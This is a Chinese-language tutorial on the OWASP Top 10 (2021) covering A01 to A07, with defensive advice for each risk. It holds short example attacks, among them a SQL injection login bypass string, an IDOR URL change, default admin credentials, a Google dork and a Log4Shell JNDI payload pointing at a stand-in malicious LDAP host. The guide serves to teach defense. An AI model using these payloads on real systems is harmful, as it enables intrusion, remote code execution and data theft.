OWASP TOP10 (2021)
OWASP(開放式 Web 應用程式安全專案,Open Web Application Security Project)每隔數年會發布 OWASP Top 10,列出全球最常見且最具危害性的 Web 應用程式安全風險。 最新的 OWASP Top 10(2021 版) 針對 Web 安全現狀進行更新,強調了 API 安全、軟體供應鏈安全、及現代開發流程中的新興風險。
A01: 權限控制失效(Broken Access Control)
案例:未驗證的 API 可讓攻擊者存取其他用戶的帳號
漏洞描述
某個網站的 API 允許用戶查詢個人資料,但未妥善驗證存取權限,例如:
GET /api/user/1234
用戶 ID 1234
對應的是目前登入的使用者,但攻擊者發現可以手動修改 ID,存取其他用戶的資料:
GET /api/user/5678
攻擊手法
攻擊者發送不同的 user_id
,可能能夠存取 任何 用戶的個資,例如:
- 其他用戶的電子郵件、住址、電話號碼
- 更改其他用戶的密碼(若 API 沒有額外驗證)
- 竄改帳戶餘額或權限
防禦手法
- 在伺服器端檢查 使用者的 session,確保請求者只能查詢自己的資料
- 使用 OAuth 或 JWT 來管理用戶身份與權限
- 避免在 URL 直接暴露用戶 ID,改用
token
或session-based
機制
A02: 加密失敗(Cryptographic Failures)
案例:網站使用 HTTP 而非 HTTPS
漏洞描述
某網站仍使用 http://example.com
,因此用戶登入時的帳號密碼會以明文傳輸,攻擊者可以透過 中間人攻擊(MITM) 竊取資訊。
攻擊手法
- 攔截 Wi-Fi:攻擊者在公共 Wi-Fi(如咖啡廳)監聽封包,擷取登入資訊
- DNS 欺騙:導引用戶到惡意網站,並攔截登入資訊
防禦手法
- 強制使用 HTTPS(搭配 TLS 1.2/1.3)
- 使用 HSTS(HTTP Strict Transport Security) 強制瀏覽器僅允許 HTTPS
- 避免儲存敏感資訊,如密碼應以
bcrypt
或PBKDF2
加密存儲
A03: SQL 注入與其他注入漏洞(Injection)
案例:網站登入表單未使用參數化查詢
漏洞描述
攻擊者在登入表單的 username
欄位輸入:
' OR 1=1 --
伺服器執行的 SQL 變成:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''
這使得無論輸入的密碼為何,查詢條件都成立,攻擊者可以直接登入。
攻擊手法
- SQL Injection: 改變 SQL 查詢,繞過身份驗證或刪除資料庫資料
- Blind SQL Injection:透過回應時間來推測資料庫內容
防禦手法
- 使用參數化查詢(Prepared Statements)
- 限制 SQL 權限,避免應用程式帳號擁有刪除或修改所有資料的權限
- 使用 Web 應用程式防火牆(WAF) 來過濾惡意請求
A04: 不安全的設計(Insecure Design)
案例:購物網站未設計驗證流程
漏洞描述
某電商網站允許用戶直接透過 POST /api/checkout
來下單,沒有驗證是否已登入。
攻擊手法
攻擊者透過 curl
或 Postman
直接發送請求:
curl -X POST "https://example.com/api/checkout" -d "item_id=123&quantity=5"
即使沒有登入,攻擊者仍可成功下單。
防禦手法
- 在設計階段就納入身份驗證機制
- 強制要求用戶先登入才能發送購物請求
- 使用 API Gateway 限制未授權的請求
A05: 安全設定錯誤(Security Misconfiguration)
案例:開發環境的預設密碼未移除
漏洞描述
開發人員忘記移除預設管理員帳號:
username: admin
password: admin123
攻擊者透過簡單的嘗試就能取得系統管理權限。
攻擊手法
- 暴力破解(Brute Force)
- Google Dorking:在 Google 搜索
intitle:"index of /admin"
防禦手法
- 在上線前刪除預設帳號與密碼
- 定期進行安全審查
- 關閉不必要的功能(如
debug mode
)
A06: 易受攻擊的元件(Vulnerable and Outdated Components)
案例:未更新的 Log4j 被攻擊
漏洞描述
某公司使用舊版的 Log4j 2.14.1,但該版本存在 RCE(遠端代碼 執行)漏洞。
攻擊手法
攻擊者發送特製請求:
${jndi:ldap://malicious-server.com/exploit}
伺服器執行惡意代碼,使攻擊者取得控制權。
防禦手法
- 定期更新第三方函式庫
- 使用軟體成分分析工具(SCA) 監測依賴漏洞
- 限制 JNDI 等高風險功能的使用
A07: 身分驗證與授權失敗(Identification and Authentication Failures)
案例:API Token 無效期
漏洞描述
某 API 允許用戶登入後取得 token,但 token 永不過期,攻擊者一旦竊取 token,就能永久使用。
攻擊手法
- 攔截 Token(例如透過 MITM)
- Token 重放攻擊(Replay Attack)
防禦手法
- 設定Token 有效期
- 使用 OAuth2 + Refresh Token
- 強制 Token 綁定 IP 或裝置